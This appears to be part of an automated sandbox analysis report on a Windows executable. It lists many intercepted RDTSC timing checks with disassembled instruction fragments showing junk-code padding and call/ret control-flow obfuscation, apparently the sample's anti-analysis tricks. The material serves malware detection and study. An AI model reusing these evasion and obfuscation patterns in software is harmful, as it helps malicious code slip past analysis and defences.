Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 674C84 second address: 674C96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F576860B9D6h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 674C96 second address: 674C9A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 674C9A second address: 674CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 67558B second address: 67559F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F57691E35EDh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 67559F second address: 6755A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6755A4 second address: 6755AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6756FF second address: 675733 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007F576860B9C3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F576860B9C9h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 675733 second address: 675739 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 67587F second address: 67589D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9C3h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push esi 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 67589D second address: 6758A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6758A3 second address: 6758AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6759EB second address: 6759F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 64B65E second address: 64B68B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9C1h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F576860B9C6h 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 64B68B second address: 64B6A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35F1h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 67C281 second address: 67C298 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F576860B9B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e jno 00007F576860B9B6h 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 67CA02 second address: 67CA09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 67CA09 second address: 67CA14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68247C second address: 6824A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F57691E35EFh 0x00000008 jmp 00007F57691E35EFh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jns 00007F57691E35E6h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 681B07 second address: 681B0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 681B0B second address: 681B11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 681B11 second address: 681B17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 681CDB second address: 681CE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 681CE9 second address: 681CF1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 681CF1 second address: 681D08 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35F2h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 681FEE second address: 68201E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 jmp 00007F576860B9C6h 0x0000000b jmp 00007F576860B9BFh 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68201E second address: 682022 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 682196 second address: 68219A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68219A second address: 6821B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F57691E35EBh 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 682310 second address: 68233C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b jmp 00007F576860B9BEh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6837F1 second address: 6837F6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 683876 second address: 6838A9 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F576860B9B8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebx 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007F576860B9B8h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000017h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 nop 0x00000028 pushad 0x00000029 pushad 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6838A9 second address: 6838CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F57691E35F4h 0x00000009 popad 0x0000000a jng 00007F57691E35ECh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6838CA second address: 6838E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jns 00007F576860B9B6h 0x0000000f ja 00007F576860B9B6h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 683BFD second address: 683C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F57691E35E8h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push ecx 0x00000011 jnl 00007F57691E35E6h 0x00000017 pop ecx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 683D11 second address: 683D2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F576860B9C5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 683D80 second address: 683D84 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 683D84 second address: 683D8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 683D8E second address: 683D92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 685F5F second address: 685F65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6856A0 second address: 6856A5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 686B3F second address: 686B43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 686B43 second address: 686B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F57691E35ECh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 686B51 second address: 686BC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push ebx 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop ebx 0x0000000c nop 0x0000000d mov dword ptr [ebp+12452E51h], edx 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push ebx 0x00000018 call 00007F576860B9B8h 0x0000001d pop ebx 0x0000001e mov dword ptr [esp+04h], ebx 0x00000022 add dword ptr [esp+04h], 0000001Ah 0x0000002a inc ebx 0x0000002b push ebx 0x0000002c ret 0x0000002d pop ebx 0x0000002e ret 0x0000002f sub dword ptr [ebp+1247155Dh], ebx 0x00000035 mov edi, dword ptr [ebp+122D38F1h] 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ebp 0x00000040 call 00007F576860B9B8h 0x00000045 pop ebp 0x00000046 mov dword ptr [esp+04h], ebp 0x0000004a add dword ptr [esp+04h], 00000017h 0x00000052 inc ebp 0x00000053 push ebp 0x00000054 ret 0x00000055 pop ebp 0x00000056 ret 0x00000057 cmc 0x00000058 mov dword ptr [ebp+122D3357h], edx 0x0000005e xchg eax, ebx 0x0000005f jnc 00007F576860B9C4h 0x00000065 push eax 0x00000066 push edx 0x00000067 push ecx 0x00000068 pop ecx 0x00000069 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 688ABC second address: 688AC1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68E5AE second address: 68E5B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68F55C second address: 68F562 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68F562 second address: 68F5B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9BEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push ecx 0x0000000d jmp 00007F576860B9C5h 0x00000012 pop edi 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 add di, 256Ch 0x0000001c xchg eax, esi 0x0000001d jmp 00007F576860B9C8h 0x00000022 push eax 0x00000023 push ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68F5B6 second address: 68F5BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69046B second address: 69046F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69046F second address: 6904C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 jmp 00007F57691E35F7h 0x0000000c push 00000000h 0x0000000e je 00007F57691E35EAh 0x00000014 mov di, E300h 0x00000018 add dword ptr [ebp+122D1D1Eh], eax 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebx 0x00000023 call 00007F57691E35E8h 0x00000028 pop ebx 0x00000029 mov dword ptr [esp+04h], ebx 0x0000002d add dword ptr [esp+04h], 00000016h 0x00000035 inc ebx 0x00000036 push ebx 0x00000037 ret 0x00000038 pop ebx 0x00000039 ret 0x0000003a xchg eax, esi 0x0000003b push esi 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6904C5 second address: 6904D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6904D2 second address: 6904D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68E82A second address: 68E82E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68F709 second address: 68F70E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 68E82E second address: 68E834 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6915A8 second address: 6915AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 692397 second address: 69239B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6915AD second address: 6915C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 691672 second address: 691677 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6944EC second address: 6944F2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 692579 second address: 692586 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F576860B9B6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 646440 second address: 64645A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F57691E35F4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 692586 second address: 692646 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jp 00007F576860B9CBh 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F576860B9B8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Ch 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 push dword ptr fs:[00000000h] 0x00000030 or di, 7608h 0x00000035 and edi, dword ptr [ebp+122D2D3Eh] 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 sbb bl, FFFFFF8Dh 0x00000045 mov eax, dword ptr [ebp+122D0F39h] 0x0000004b mov ebx, edi 0x0000004d push FFFFFFFFh 0x0000004f push 00000000h 0x00000051 push edx 0x00000052 call 00007F576860B9B8h 0x00000057 pop edx 0x00000058 mov dword ptr [esp+04h], edx 0x0000005c add dword ptr [esp+04h], 00000018h 0x00000064 inc edx 0x00000065 push edx 0x00000066 ret 0x00000067 pop edx 0x00000068 ret 0x00000069 mov edi, dword ptr [ebp+122D2D4Bh] 0x0000006f mov edi, 621CFDCCh 0x00000074 nop 0x00000075 jns 00007F576860B9D0h 0x0000007b push eax 0x0000007c push eax 0x0000007d push eax 0x0000007e push edx 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 692646 second address: 69264A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69614D second address: 696151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 696151 second address: 6961B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F57691E35F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov ebx, dword ptr [ebp+122D2DFCh] 0x00000010 mov dword ptr [ebp+12484697h], edi 0x00000016 push 00000000h 0x00000018 mov ebx, dword ptr [ebp+124508B4h] 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push ebp 0x00000023 call 00007F57691E35E8h 0x00000028 pop ebp 0x00000029 mov dword ptr [esp+04h], ebp 0x0000002d add dword ptr [esp+04h], 00000017h 0x00000035 inc ebp 0x00000036 push ebp 0x00000037 ret 0x00000038 pop ebp 0x00000039 ret 0x0000003a mov edi, 42FBEF85h 0x0000003f xchg eax, esi 0x00000040 js 00007F57691E35EEh 0x00000046 push ebx 0x00000047 push eax 0x00000048 push edx 0x00000049 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6961B0 second address: 6961BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6961BC second address: 6961C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 6961C2 second address: 6961C7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 697555 second address: 69756B instructions: 0x00000000 rdtsc 0x00000002 js 00007F57691E35E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jl 00007F57691E35F4h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69756B second address: 69756F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69923C second address: 699240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69A23C second address: 69A240 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69A240 second address: 69A289 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F57691E35F2h 0x0000000f push 00000000h 0x00000011 mov edi, dword ptr [ebp+1244DB62h] 0x00000017 push 00000000h 0x00000019 mov bx, 0027h 0x0000001d jl 00007F57691E35E8h 0x00000023 xchg eax, esi 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F57691E35F4h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69B1CF second address: 69B1D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69B1D5 second address: 69B1D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69B1D9 second address: 69B263 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F576860B9BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F576860B9C0h 0x00000012 jmp 00007F576860B9C9h 0x00000017 popad 0x00000018 nop 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F576860B9B8h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 00000014h 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 mov dword ptr [ebp+122DBA9Dh], esi 0x00000039 pushad 0x0000003a mov esi, dword ptr [ebp+122D3A01h] 0x00000040 sub dword ptr [ebp+122D2BC4h], edi 0x00000046 popad 0x00000047 push 00000000h 0x00000049 sbb ebx, 1236E88Ah 0x0000004f push 00000000h 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F576860B9BFh 0x00000059 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69B263 second address: 69B269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69B269 second address: 69B26D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\wIgjKoo9iI.exe	RDTSC instruction interceptor: First address: 69D351 second address: 69D3C0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F57691E35E8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000016h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 pushad 0x00000023 mov dword ptr [ebp+122D1E0Ah], ebx 0x00000029 mov bl, C3h 0x0000002b popad 0x0000002c movzx ebx, si 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push eax 0x00000034 call 00007F57691E35E8h 0x00000039 pop eax 0x0000003a mov dword ptr [esp+04h], eax 0x0000003e add dword ptr [esp+04h], 00000016h 0x00000046 inc eax 0x00000047 push eax 0x00000048 ret 0x00000049 pop eax 0x0000004a ret 